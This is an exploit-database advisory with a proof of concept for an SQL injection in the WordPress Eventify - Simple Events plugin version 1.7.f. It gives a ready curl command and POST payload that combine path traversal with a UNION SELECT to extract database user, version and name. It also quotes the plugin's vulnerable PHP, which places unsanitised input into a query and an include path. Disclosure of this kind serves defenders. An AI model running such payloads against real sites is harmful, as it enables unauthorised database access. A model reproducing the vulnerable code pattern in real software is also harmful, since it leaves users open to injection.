WordPress Plugin Eventify - Simple Events 1.7.f SQL Injection
Author: Miroslav Stampar
type: webapps
platform: php
port:
date_added: 2011-09-07
date_updated: 2011-09-07
verified: 1
codes: OSVDB-86245
tags: WordPress Plugin
aliases:
screenshot_url:
application_url: http://www.exploit-db.comeventify.zip
# Exploit Title: WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/eventify.zip
# Version: 1.7.f (tested)
# Note: magic_quotes has to be turned off
---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php
npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20
e.g.:
curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php
---------------
Vulnerable code
---------------
require_once(str_ireplace("/wp-content","",$_POST['npath']).'/wp-load.php');
$eventid = $_POST['eventid'];
$action = "fetch";
if($action=="fetch"){
...
$qry= "select * from ".$table_name." where em_id='$eventid'" ;
...
$results = $wpdb->get_results($qry);